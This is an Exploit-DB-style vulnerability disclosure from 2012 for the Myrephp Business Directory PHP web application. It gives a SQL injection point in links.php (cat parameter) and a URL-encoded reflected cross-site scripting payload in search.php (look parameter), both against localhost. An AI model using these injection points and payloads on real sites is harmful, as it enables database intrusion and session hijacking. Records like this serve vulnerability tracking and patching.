Myrephp Business Directory - Multiple Vulnerabilities

Author: d3b4g
type: webapps
platform: php
port: 
date_added: 2012-11-14  
date_updated: 2012-11-14  
verified: 1  
codes: OSVDB-87343;OSVDB-87342;CVE-2012-6589;CVE-2012-6588  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 22711.txt  

# Exploit Title: Myrephp Business Directory,  Multiple Vulnerabilities
# Date: 13.10.201
# Exploit Author: d3b4g
# Vendor Homepage:http://myrephp.com
# Software Link: http://myrephp.com/biz/
# Tested on: Windows 7
# Blog: d3b4g.me





  ----------------------------------------------------------------------------------
  () SQL Injection :

   ---------------------------

  http://localhost/path/links.php?cat=1'[Insert Query]


  () Cross Site Scripting:-


   http:localhost/path/search.php?keywords1=&keywords2=&look=%27%20onmouseover%3dprompt%28945724%29%20bad%3d%27&nolinks1=10&order=city&page=2&sort=ASC